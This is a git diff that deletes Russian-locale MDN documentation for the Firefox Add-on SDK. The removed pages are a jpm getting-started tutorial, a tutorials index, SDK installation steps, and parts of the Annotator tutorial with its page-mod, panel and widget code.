-translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Getting_Started_(jpm)
----
-<div class="note">
-<p>The Add-on SDK includes a command-line tool that you use to initialize, run, test, and package add-ons. The current tool is called jpm, and is based on <a href="http://nodejs.org/">Node.js</a>. It replaces the old cfx tool.</p>
-
-<p>You can use jpm from Firefox 38 onwards.</p>
-
-<p>This article describes how to develop using jpm.</p>
-</div>
-
-<p>This tutorial walks through creating a simple add-on using the SDK.</p>
-
-<h2 id="Prerequisites">Prerequisites</h2>
-
-<p>To create add-ons for Firefox using the SDK, you'll need:</p>
-
-<ul>
- <li>Firefox version 38 or later. If you need to work with earlier versions of Firefox, you'll need to use the old cfx tool. See instructions for <a href="/en-US/Add-ons/SDK/Tutorials/Getting_started">getting started with cfx</a>.</li>
- <li>the command-line jpm tool. See the instructions for <a href="/en-US/Add-ons/SDK/Tools/jpm#Installation">installing jpm</a>. Once you've done that, you'll be looking at a command prompt.</li>
-</ul>
-
-<h2 id="Initializing_an_empty_add-on">Initializing an empty add-on</h2>
-
-<p>In the command prompt, create a new directory. Navigate to it, type <code>jpm init</code>, and hit enter:</p>
-
-<pre>mkdir my-addon
-cd my-addon
-jpm init
-</pre>
-
-<p>You'll then be asked to supply some information about your add-on: this will be used to create your add-on's <a href="/en-US/Add-ons/SDK/Tools/package_json">package.json</a> file. For now, just press Enter to accept the default for each property. For more information on <code>jpm init</code>, see the <a href="/en-US/Add-ons/SDK/Tools/jpm#Command_reference">jpm command reference</a>.</p>
-
-<p>Once you've supplied a value or accepted the default for these properties, you'll be shown the complete contents of "package.json" and asked to accept it.</p>
-
-<h2 id="Implementing_the_add-on">Implementing the add-on</h2>
-
-<p>Now you can write the add-on's code. Unless you've changed the value of "entry point" ("<a href="/en-US/Add-ons/SDK/Tools/package_json#main">main</a>" in package.json), this goes in "index.js" file in the root of your add-on. This file was created for you in the previous step. Open it and add the following code:</p>
-
-<pre class="brush: js">var buttons = require('sdk/ui/button/action');
-var tabs = require("sdk/tabs");
-
-var button = buttons.ActionButton({
- id: "mozilla-link",
- label: "Visit Mozilla",
- icon: {
- "16": "./icon-16.png",
- "32": "./icon-32.png",
- "64": "./icon-64.png"
- },
- onClick: handleClick
-});
-
-function handleClick(state) {
- tabs.open("http://www.mozilla.org/");
-}
-</pre>
-
-<div class="note">
-<p>Note that "entry point" defaults to "index.js" in jpm, meaning that your main file is "index.js", and it is found directly in your add-on's root.</p>
-
-<p>In cfx, the entry point defaults to "main.js", and is located in the "lib" directory under the add-on's root.</p>
-</div>
-
-<p>Save the file.</p>
-
-<p>Next, create a directory called "data" in your add-on's root, and save these three icon files to the "data" directory:</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/7635/icon-16.png" style="height: 16px; width: 16px;"></td>
- <td>icon-16.png</td>
- </tr>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/7637/icon-32.png" style="height: 32px; width: 32px;"></td>
- <td>icon-32.png</td>
- </tr>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/7639/icon-64.png" style="height: 64px; width: 64px;"></td>
- <td>icon-64.png</td>
- </tr>
- </tbody>
-</table>
-
-<p>Back at the command prompt, type:</p>
-
-<pre>jpm run</pre>
-
-<p>This is the jpm command to run a new instance of Firefox with your add-on installed.</p>
-
-<p>If Firefox can not be located, you may need to provide the path to it (example in Ubuntu):</p>
-
-
-<pre>jpm run -b /usr/bin/firefox</pre>
-
-<p>When Firefox launches, in the top-right corner of the browser you'll see an icon with the Firefox logo. Click the icon, and a new tab will open with <a href="http://www.mozilla.org/" rel="noreferrer">http://www.mozilla.org/</a> loaded into it.</p>
-
-<p>That's all this add-on does. It uses two SDK modules: the <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button</a> module, which enables you to add buttons to the browser, and the <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs" rel="noreferrer">tabs</a> module, which enables you to perform basic operations with tabs. In this case, we've created a button whose icon is the Firefox icon, and added a click handler that loads the Mozilla home page in a new tab.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7643/mozilla-button.png" style="display: block; height: 221px; margin-left: auto; margin-right: auto; width: 382px;">Try editing this file. For example, we could change the page that gets loaded:</p>
-
-<pre class="brush: js">var buttons = require('sdk/ui/button/action');
-var tabs = require("sdk/tabs");
-
-var button = buttons.ActionButton({
- id: "mozilla-link",
- label: "Visit Mozilla",
- icon: {
- "16": "./icon-16.png",
- "32": "./icon-32.png",
- "64": "./icon-64.png"
- },
- onClick: handleClick
-});
-
-function handleClick(state) {
- tabs.open("https://developer.mozilla.org/");
-}</pre>
-
-<p>At the command prompt, execute <code>jpm run</code> again. This time clicking it takes you to <a href="https://developer.mozilla.org/">https://developer.mozilla.org/</a>.</p>
-
-<h2 id="Packaging_the_add-on">Packaging the add-on</h2>
-
-<p>When you've finished the add-on and are ready to distribute it, you'll need to package it as an XPI file. This is the installable file format for Firefox add-ons. You can distribute XPI files yourself or publish them to <a href="https://addons.mozilla.org" rel="noreferrer">https://addons.mozilla.org</a> so other users can download and install them.</p>
-
-<p>To build an XPI, just execute the command <code>jpm xpi</code> from the add-on's directory:</p>
-
-<pre>jpm xpi
-</pre>
-
-<p>You should see a message like:</p>
-
-<pre>JPM info Successfully created xpi at /path/to/getting-started/@getting-started.xpi
-</pre>
-
-<p>To test that this worked, try installing the XPI file in your own Firefox installation. You can do this by pressing the Ctrl+O key combination (Cmd+O on Mac) from within Firefox, or selecting the "Open" item from Firefox's "File" menu. This will bring up a file selection dialog: navigate to the "@getting-started.xpi" file, open it and follow the prompts to install the add-on.</p>
-
-<h2 id="Summary">Summary</h2>
-
-<p>In this tutorial we've built and packaged an add-on using three commands:</p>
-
-<ul>
- <li><code>jpm init</code> to initialize an empty add-on template</li>
- <li><code>jpm run</code> to run a new instance of Firefox with the add-on installed, so we can try it out</li>
- <li><code>jpm xpi</code> to package the add-on into an XPI file for distribution</li>
-</ul>
-
-<p>These are the three main commands you'll use when developing SDK add-ons. There's comprehensive <a href="/en-US/Add-ons/SDK/Tools/jpm" rel="noreferrer">reference documentation</a> covering all the commands you can use and all the options they take.</p>
-
-<p>The add-on code itself uses two SDK modules, <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button</a> and <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs" rel="noreferrer">tabs</a>. There's reference documentation for all the <a href="/en-US/Add-ons/SDK/High-Level_APIs" rel="noreferrer">high-level</a> and <a href="/en-US/Add-ons/SDK/Low-Level_APIs" rel="noreferrer">low-level</a> APIs in the SDK.</p>
-
-<h2 id="What's_next">What's next?</h2>
-
-<p>To get a feel for some of the things you can do with the SDK APIs, try working through some of the <a href="/en-US/Add-ons/SDK/Tutorials" rel="noreferrer">tutorials</a>.</p>
diff --git a/files/ru/mozilla/add-ons/sdk/tutorials/index.html b/files/ru/mozilla/add-ons/sdk/tutorials/index.html
deleted file mode 100644
index 277c5573d9..0000000000
--- a/files/ru/mozilla/add-ons/sdk/tutorials/index.html
+++ /dev/null
@@ -1,145 +0,0 @@
----
-title: Tutorials
-slug: Mozilla/Add-ons/SDK/Tutorials
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Add-ons/Add-on_SDK/Tutorials
----
-<p>Эта страница содержит практические статьи о том как выполнять конкретные задачи используя SDK.</p>
-
-<hr>
-<h3 id="Начало_работы"><a name="getting-started">Начало работы</a></h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Installation">Установка </a></dt>
- <dd>Скачивание, установка и инициализация <span class="_Tgc">комплекта средств разработки</span> (SDK) для Windows, OS X и Linux.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Troubleshooting">Исправление проблем </a></dt>
- <dd>Несколько указаний для фиксации общих пролбем и получение дополнительной помощи.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Getting_started_with_cfx">Создание простого дополнения (Add-on) </a></dt>
- <dd>Пошаговое руководство по созданию простого дополнения при помощи SDK и jpm.</dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h3 id="Создание_пользовательского_интерфейса"><a name="create-user-interfaces">Создание пользовательского интерфейса</a></h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Adding_a_Button_to_the_Toolbar">Добавление кнопи панели инструментов </a></dt>
- <dd>Прикрепление кнопки к панели инструментов дополнений Firefox.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Menu_Item_to_Firefox">Добавление элементов меню Firefox </a></dt>
- <dd>Добавление элементов в основные меню Firefox.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Display_a_Popup">Отображение высплывающего окна (popup) </a></dt>
- <dd>Отображение всплывающего диалогового окна и его реализация с помощью HTML и JavaScript.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Context_Menu_Item">Добавление элемента контекстного меню</a></dt>
- <dd>Добавление элементов контекстных меню Firefox.</dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h3 id="Взаимодействие_с_браузером"><a name="interact-with-the-browser">Взаимодействие с браузером</a></h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Open_a_Web_Page">Загрузка вебстраниц</a></dt>
- <dd>Загрузка вебстраниц в новой вкладке или новом окне с использованием модуля вкладок (tabs module), и доступ к их содержимому.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Listen_for_Page_Load">Отслеживание загрузки страниц </a></dt>
- <dd>Использование модуля вкладок (tabs module) для получения оповещений о загрузке новых вебстраниц и доступа к их содержимому.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/List_Open_Tabs">Получение списка открытых вкладок</a></dt>
- <dd>Использование модуля вкладок (tabs module) для перебора открытых вкладок и доступа к их содержимому.</dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h3 id="Изменение_вебстраниц"><a name="modify-web-pages">Изменение вебстраниц</a></h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Modifying_Web_Pages_Based_on_URL">Изменение вебстраниц на основе URL </a></dt>
- <dd>Создание фильтров для вебстраниц на основе их URL: всякий раз, когда загрузится вебстраница, чей URL соответствует фильтру, на ней выполнится заданный сценарий.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Modifying_the_Page_Hosted_by_a_Tab">Изменение активной вебстраницы </a></dt>
- <dd>Динамическая загрузка сценария на текущую активную вебстраницу.</dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h3 id="Техники_разработки"><a name="development-techniques">Техники разработки</a></h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Logging">Логгирование </a></dt>
- <dd>Вывод сообщений в консоль для диагностики.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Creating_reusable_modules">Создание повторно используемых модулей </a></dt>
- <dd>Структурирование дополнения в отдельные модули, чтобы упростить разработку, отладку и поддержку. Создание повторно используемых пакетов, содержащих ваши модули, чтобы другие разработчики могли их использовать.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Unit_testing">Модульное тестирование </a></dt>
- <dd>Написание и запуск модульных тестов с использованием тестовой среды SDK.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Chrome_authority">Полномочия Chrome </a></dt>
- <dd>Получение доступа к объекту Components, позволит вашему дополнению загружать и использовать любой объект XPCOM.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Creating_event_targets">Создание целей события </a></dt>
- <dd>Включение объектов вашего определения для выпуска собственных событий.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Listening_for_load_and_unload">Отслеживание загрузки и выгрузки </a></dt>
- <dd>Получение уведомлений, когда Firefox загрузил или выгрузил ваше дополнение и передача аргументов вашему дополнению из командной строки.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Menu_Item_to_Firefox">Использование сторонних модулей </a></dt>
- <dd>Установка и использование дополнительных модулей не входящих в SDK.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/l10n">Локализация </a></dt>
- <dd>Написание локализуемого кода.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Mobile_development">Мобильная разработка </a></dt>
- <dd><span class="short_text" id="result_box" lang="ru"><span class="alt-edited">Разработка дополнений для Firefox Mobile на Android.</span></span></dd>
- <dt><a href="/en-US/Add-ons/Add-on_Debugger">Отладчик дополнения</a></dt>
- <dd>Отладка JavaScript вашего дополнения.</dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h3 id="Объединение"><a name="putting-it-together">Объединение</a></h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Annotator">Аннотация дополнения </a></dt>
- <dd><span id="result_box" lang="ru"><span>Пошаговое руководство относительно сложного дополнения.</span></span></dd>
-</dl>
-</div>
-</div>
-
-<p> </p>
diff --git a/files/ru/mozilla/add-ons/sdk/tutorials/installation/index.html b/files/ru/mozilla/add-ons/sdk/tutorials/installation/index.html
deleted file mode 100644
index 48b8923923..0000000000
--- a/files/ru/mozilla/add-ons/sdk/tutorials/installation/index.html
+++ /dev/null
@@ -1,68 +0,0 @@
----
-title: Installation
-slug: Mozilla/Add-ons/SDK/Tutorials/Installation
-translation_of: Mozilla/Add-ons/SDK/Tools/jpm#Installation
----
-<h2 id="Prerequisites">Prerequisites</h2>
-<p>To develop with the Add-on SDK, you'll need:</p>
-<ul>
- <li><a href="http://www.python.org/">Python</a> 2.5, 2.6 or 2.7. Note that versions 3.x of Python are not supported on any platform. Make sure that Python is in your path.</li>
- <li>Firefox.</li>
- <li>The SDK itself: you can obtain the latest stable version of the SDK as a <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/jetpack/jetpack-sdk-latest.tar.gz">tarball</a> or a <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/jetpack/jetpack-sdk-latest.zip">zip file</a>.</li>
-</ul>
-<p>Alternatively, if you use Firefox Nightly, you can get the latest development version from its <a href="https://github.com/mozilla/addon-sdk">GitHub repository</a>.</p>
-<h2 id="Installation_on_Mac_OS_X_Linux">Installation on Mac OS X / Linux</h2>
-<p>Extract the file contents wherever you choose, and navigate to the root directory of the SDK with a shell/command prompt. For example:</p>
-<pre>tar -xf addon-sdk.tar.gz
-cd addon-sdk
-</pre>
-<p>Then run if you're a Bash user (most people are):</p>
-<pre>source bin/activate
-</pre>
-<p>And if you're a non-Bash user, you should run:</p>
-<pre>bash bin/activate
-</pre>
-<p>Your command prompt should now have a new prefix containing the name of the SDK's root directory:</p>
-<pre>(addon-sdk)~/mozilla/addon-sdk &gt;
-</pre>
-<h2 id="Installation_on_Mac_using_Homebrew">Installation on Mac using Homebrew</h2>
-<p>If you're a Mac user, you can instead choose to use <a href="http://brew.sh/">Homebrew</a> to install the SDK, using the following command:</p>
-<pre>brew install mozilla-addon-sdk</pre>
-<p>Once this has completed successfully, you can use the <code>cfx</code> program at your command line at any time: you don't need to run bin/activate.</p>
-<h2 id="Installation_on_Windows">Installation on Windows</h2>
-<p>Extract the file contents wherever you choose, and navigate to the root directory of the SDK with a shell/command prompt. For example:</p>
-<pre>7z.exe x addon-sdk.zip
-cd addon-sdk
-</pre>
-<p>Then run:</p>
-<pre>bin\activate
-</pre>
-<p>Your command prompt should now have a new prefix containing the full path to the SDK's root directory:</p>
-<pre>(C:\Users\mozilla\sdk\addon-sdk) C:\Users\Work\sdk\addon-sdk&gt;
-</pre>
-<h2 id="activate">activate</h2>
-<p>The activate command sets some environment variables that are needed for the SDK. It sets the variables for the current command prompt only. If you open a new command prompt, the SDK will not be active in the new prompt. until you type <code>activate</code> again.</p>
-<p>This means that you can have multiple copies of the SDK in different locations on disk and switch between them, or even have them both activated in different command prompts at the same time.</p>
-<h3 id="Making_activate_permanent">Making <code>activate</code> permanent</h3>
-<p>By setting these variables permanently in your environment so every new command prompt reads them, you can make activation permanent. Then you don't need to type <code>activate</code> every time you open up a new command prompt.</p>
-<p>Because the exact set of variables may change with new releases of the SDK, it's best to refer to the activation scripts to determine which variables need to be set. Activation uses different scripts and sets different variables for bash environments (Linux and Mac OS X) and for Windows environments.</p>
-<h4 id="Windows">Windows</h4>
-<p>On Windows, <code>bin\activate</code> uses <code>activate.bat</code>, and you can make activation permanent using the command line <code>setx</code> tool or the Control Panel.</p>
-<h4 id="LinuxMac_OS_X">Linux/Mac OS X</h4>
-<p>On Linux and Mac OS X, <code>source bin/activate</code> uses the <code>activate</code> bash script, and you can make activation permanent using your <code>~/.bashrc</code> (on Linux) or <code>~/.bashprofile</code> (on Mac OS X).</p>
-<p>As an alternative to this, you can create a symbolic link to the <code>cfx</code> program in your <code>~/bin</code> directory:</p>
-<pre>ln -s PATH_TO_SDK/bin/cfx ~/bin/cfx
-</pre>
-<p>If you used Homebrew to install the SDK, the environment variables are already set permanently for you.</p>
-<h2 id="Sanity_check">Sanity check</h2>
-<p>Run this at your shell prompt:</p>
-<pre>cfx
-</pre>
-<p>It should produce output whose first line looks something like this, followed by many lines of usage information:</p>
-<pre>Usage: cfx [options] [command]
-</pre>
-<p>This is the <a href="/en-US/Add-ons/SDK/Tools/cfx"><code>cfx</code> command-line program</a>. It's your primary interface to the Add-on SDK. You use it to launch Firefox and test your add-on, package your add-on for distribution, view documentation, and run unit tests.</p>
-<h2 id="Problems">Problems?</h2>
-<p>Try the <a href="/en-US/Add-ons/SDK/Tutorials/Troubleshooting">Troubleshooting</a> page.</p>
-<h2 id="Next_Steps">Next Steps</h2>
-<p>Next, take a look at the <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">Getting Started With cfx</a> tutorial, which explains how to create add-ons using the <code>cfx</code> tool.</p>
diff --git a/files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/creating_annotations/index.html b/files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/creating_annotations/index.html
deleted file mode 100644
index 07cecddaf5..0000000000
--- a/files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/creating_annotations/index.html
+++ /dev/null
@@ -1,221 +0,0 @@
----
-title: Добавление заметок
-slug: Mozilla/Add-ons/SDK/Tutorials/Аннотатор/Creating_annotations
-translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Annotator/Creating_annotations
----
-<p>Мы будем использовать два объекта для создания заметок: модификатор страницы - чтобы найти элементы, для которых пользователь может оставить заметку и панель для ввода текста заметки.</p>
-<h2 id="Селектор_модификации_страницы">Селектор модификации страницы</h2>
-<h3 id="Селектор_контент-скриптов">Селектор контент-скриптов</h3>
-<p>Контент-скрипт для селекторамодификации страницы будет ипользовать <a href="http://jquery.com/">jQuery</a> для поиска элементов и манипуляций над ними.</p>
-<p>Эго главная задача - обработка "подходящего элемента": это элемент страницы, который подходит для добавления заметки на него. Подходящий элемент будет подсвечен и будет иметь обработчик событий, который будет отправлять сообщения основному коду расширения.</p>
-<p>Селектор модификации страницы может быть активирован или деактивирован используя сообщение от основного кода расширения. По-умолчанию он деактивирован:</p>
-<pre class="brush: js">var matchedElement = null;
-var originalBgColor = null;
-var active = false;
-
-function resetMatchedElement() {
- if (matchedElement) {
- (matchedElement).css('background-color', originalBgColor);
- (matchedElement).unbind('click.annotator');
- }
-}
-
-self.on('message', function onMessage(activation) {
- active = activation;
- if (!active) {
- resetMatchedElement();
- }
-});</pre>
-<p>Данный селектор ожидает вхождения события <a href="http://api.jquery.com/mouseenter/">jQuery mouseenter</a>.</p>
-<p> When a mouseenter event is triggered the selector checks whether the element is eligible for annotation. An element is eligible if it, or one of its ancestors in the DOM tree, has an attribute named <code>"id"</code>. The idea here is to make it more likely that the annotator will be able to identify annotated elements correctly later on.</p>
-<p>If the page element is eligible for annotation, then the selector highlights that element and binds a click handler to it. The click handler sends a message called <code>show</code> back to the main add-on code. The <code>show</code> message contains: the URL for the page, the ID attribute value, and the text content of the page element.</p>
-<pre class="brush: js">$('*').mouseenter(function() {
- if (!active || $(this).hasClass('annotated')) {
- return;
- }
- resetMatchedElement();
- ancestor = $(this).closest("[id]");
- matchedElement = $(this).first();
- originalBgColor = $(matchedElement).css('background-color');
- $(matchedElement).css('background-color', 'yellow');
- $(matchedElement).bind('click.annotator', function(event) {
- event.stopPropagation();
- event.preventDefault();
- self.port.emit('show',
- [
- document.location.toString(),
- $(ancestor).attr("id"),
- $(matchedElement).text()
- ]
- );
- });
-});</pre>
-<p>Conversely, the add-on resets the matched element on <a href="http://api.jquery.com/mouseout/">mouseout</a>:</p>
-<pre class="brush: js">$('*').mouseout(function() {
- resetMatchedElement();
-});</pre>
-<p>Save this code in a new file called <code>selector.js</code> in your add-on's <code>data</code> directory.</p>
-<p>Because this code uses jQuery, you'll need to <a href="http://docs.jquery.com/Downloading_jQuery">download</a> that as well, and save it in <code>data</code>.</p>
-<h3 id="Updating_main.js">Updating main.js</h3>
-<p>Go back to <code>main.js</code> and add the code to create the selector into the <code>main</code> function:</p>
-<pre class="brush: js">var selector = pageMod.PageMod({
- include: ['*'],
- contentScriptWhen: 'ready',
- contentScriptFile: [data.url('jquery-1.4.2.min.js'),
- data.url('selector.js')],
- onAttach: function(worker) {
- worker.postMessage(annotatorIsOn);
- selectors.push(worker);
- worker.port.on('show', function(data) {
- console.log(data);
- });
- worker.on('detach', function () {
- detachWorker(this, selectors);
- });
- }
-});</pre>
-<p>Make sure the name you use to load jQuery matches the name of the jQuery version you downloaded.</p>
-<p>The page-mod matches all pages, so each time the user loads a page the page-mod emits the <code>attach</code> event, which will call the listener function we've assigned to <code>onAttach</code>. The handler is passed a <a href="/en-US/Add-ons/SDK/Low-Level_APIs/content_worker">worker</a> object. Each worker represents a channel of communication between the add-on code and any content scripts running in that particular page context. For a more detailed discussion of the way <code>page-mod</code> uses workers, see the <a href="/en-US/Add-ons/SDK/High-Level_APIs/page-mod">page-mod documentation</a>.</p>
-<p>In the attach handler we do three things:</p>
-<ul>
- <li>send the content script a message with the current activation status</li>
- <li>add the worker to an array called <code>selectors</code> so we can send it messages later on</li>
- <li>assign a message handler for messages from this worker. If the message is <code>show</code> we will just log the content for the time being. If the message is <code>detach</code> we remove the worker from the <code>selectors</code> array.</li>
-</ul>
-<p>At the top of the file import the <code>page-mod</code> module and declare an array for the workers:</p>
-<pre class="brush: js">var pageMod = require('sdk/page-mod');
-var selectors = [];</pre>
-<p>Add <code>detachWorker</code>:</p>
-<pre class="brush: js">function detachWorker(worker, workerArray) {
- var index = workerArray.indexOf(worker);
- if(index != -1) {
- workerArray.splice(index, 1);
- }
-}</pre>
-<p>Edit <code>toggleActivation</code> to notify the workers of a change in activation state:</p>
-<pre class="brush: js">function activateSelectors() {
- selectors.forEach(
- function (selector) {
- selector.postMessage(annotatorIsOn);
- });
-}
-
-function toggleActivation() {
- annotatorIsOn = !annotatorIsOn;
- activateSelectors();
- return annotatorIsOn;
-}</pre>
-<p><span class="aside">We'll be using this URL in all our screenshots. Because <code>cfx run</code> doesn't preserve browsing history, if you want to play along it's worth taking a note of the URL.</span></p>
-<p>Save the file and execute <code>cfx run</code> again. Activate the annotator by clicking the widget and load a page: the screenshot below uses <a href="http://blog.mozilla.com/addons/2011/02/04/overview-amo-review-process/">http://blog.mozilla.com/addons/2011/02/04/ overview-amo-review-process/</a>. You should see the highlight appearing when you move the mouse over certain elements:</p>
-<p><img alt="" src="https://mdn.mozillademos.org/files/6681/highlight.png" style="display: block; margin-left: auto; margin-right: auto;">Click on the highlight and you should see something like this in the console output:</p>
-<pre> info: show
- info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-review-process/,
- post-2249,When you submit a new add-on, you will have to choose between 2
- review tracks: Full Review and Preliminary Review.
-</pre>
-<h2 id="Annotation_Editor_Panel">Annotation Editor Panel</h2>
-<p>So far we have a page-mod that can highlight elements and send information about them to the main add-on code. Next we will create the editor panel, which enables the user to enter an annotation associated with the selected element.</p>
-<p>We will supply the panel's content as an HTML file, and will also supply a content script to execute in the panel's context.</p>
-<p>So create a subdirectory under <code>data</code> called <code>editor</code>. This will contain two files: the HTML content, and the content script.</p>
-<h3 id="Annotation_Editor_HTML">Annotation Editor HTML</h3>
-<p>The HTML is very simple:</p>
-<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
-
-&lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"&gt;
-&lt;head&gt;
- &lt;title&gt;Annotation&lt;/title&gt;
- &lt;style type="text/css" media="all"&gt;
- body {
- font: 100% arial, helvetica, sans-serif;
- background-color: #F5F5F5;
- }
- textarea {
- width: 180px;
- height: 180px;
- margin: 10px;
- padding: 0px;
- }
- &lt;/style&gt;
-
-&lt;/head&gt;
-
-&lt;body&gt;
-
-&lt;textarea rows='10' cols='20' id='annotation-box'&gt;
-&lt;/textarea&gt;
-
-&lt;/body&gt;
-
-&lt;/html&gt;</pre>
-<p>Save this inside <code>data/editor</code> as <code>annotation-editor.html</code>.</p>
-<h3 id="Annotation_Editor_Content_Script">Annotation Editor Content Script</h3>
-<p>In the corresponding content script we do two things:</p>
-<ul>
- <li>handle a message from the add-on code by giving the text area focus</li>
- <li>listen for the return key and when it is pressed, send the contents of the text area to the add-on.</li>
-</ul>
-<p>Here's the code:</p>
-<pre class="brush: js">var textArea = document.getElementById('annotation-box');
-
-textArea.onkeyup = function(event) {
- if (event.keyCode == 13) {
- self.postMessage(textArea.value);
- textArea.value = '';
- }
-};
-
-self.on('message', function() {
- var textArea = document.getElementById('annotation-box');
- textArea.value = '';
- textArea.focus();
-});</pre>
-<p>Save this inside <code>data/editor</code> as <code>annotation-editor.js</code>.</p>
-<h3 id="Updating_main.js_Again">Updating main.js Again</h3>
-<p>Now we'll update <code>main.js</code> again to create the editor and use it.</p>
-<p>First, import the <code>panel</code> module:</p>
-<pre class="brush: js">var panels = require('sdk/panel');</pre>
-<p>Then add the following code to the <code>main</code> function:</p>
-<pre class="brush: js">var annotationEditor = panels.Panel({
- width: 220,
- height: 220,
- contentURL: data.url('editor/annotation-editor.html'),
- contentScriptFile: data.url('editor/annotation-editor.js'),
- onMessage: function(annotationText) {
- if (annotationText) {
- console.log(this.annotationAnchor);
- console.log(annotationText);
- }
- annotationEditor.hide();
- },
- onShow: function() {
- this.postMessage('focus');
- }
-});</pre>
-<p>We create the editor panel but don't show it. We will send the editor panel the <code>focus</code> message when it is shown, so it will give the text area focus. When the editor panel sends us its message we log the message and hide the panel.</p>
-<p>The only thing left is to link the editor to the selector. So edit the message handler assigned to the selector so that on receiving the <code>show</code> message we assign the content of the message to the panel using a new property "annotationAnchor", and show the panel:</p>
-<pre class="brush: js">var selector = pageMod.PageMod({
- include: ['*'],
- contentScriptWhen: 'ready',
- contentScriptFile: [data.url('jquery-1.4.2.min.js'),
- data.url('selector.js')],
- onAttach: function(worker) {
- worker.postMessage(annotatorIsOn);
- selectors.push(worker);
- worker.port.on('show', function(data) {
- annotationEditor.annotationAnchor = data;
- annotationEditor.show();
- });
- worker.on('detach', function () {
- detachWorker(this, selectors);
- });
- }
-});</pre>
-<p>Execute <code>cfx run</code> again, activate the annotator, move your mouse over an element and click the element when it is highlighted. You should see a panel with a text area for a note:</p>
-<p><img alt="" src="https://mdn.mozillademos.org/files/6683/editor-panel.png" style="display: block; margin-left: auto; margin-right: auto;">Enter the note and press the return key: you should see console output like this:</p>
-<pre> info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-review-process/,
- post-2249,When you submit a new add-on, you will have to choose between 2
- review tracks: Full Review and Preliminary Review.
- info: We should ask for Full Review if possible.
-</pre>
-<p>That's a complete annotation, and in the next section we'll deal with <a href="/en-US/Add-ons/SDK/Tutorials/Annotator/Storing_annotations">storing it</a>.</p>
diff --git a/files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/implementing_the_widget/index.html b/files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/implementing_the_widget/index.html
deleted file mode 100644
index ef43991658..0000000000
--- a/files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/implementing_the_widget/index.html
+++ /dev/null
@@ -1,68 +0,0 @@
----
-title: Реализация Виджета
-slug: Mozilla/Add-ons/SDK/Tutorials/Аннотатор/Implementing_the_widget
-translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Annotator/Implementing_the_widget
----
-<p>Мы хотим, чтобы виджет выполнял две вещи:</p>
-<ul>
- <li>При клике левой кнопкой мыши, Виджет должен активировать или деактивировать Аннотатор;</li>
- <li>При клике правой кнопкой, Виджет должен отобразить список всех заметок, созданных пользователем.</li>
-</ul>
-<p>Так как событие <code>click</code> не различает левую и правую кнопки мыши, мы будем использовать контент-скрипт для захвата событий клика мышью и отправлять соответствующее сообщение назад, нашему расширению.</p>
-<p>Виджет должен иметь две иконки: одна для активного состояния, вторая для неактивного.</p>
-<p>В итоге нам понадобится создать три файла: контент-скрипт для Виджета и две иконки.</p>
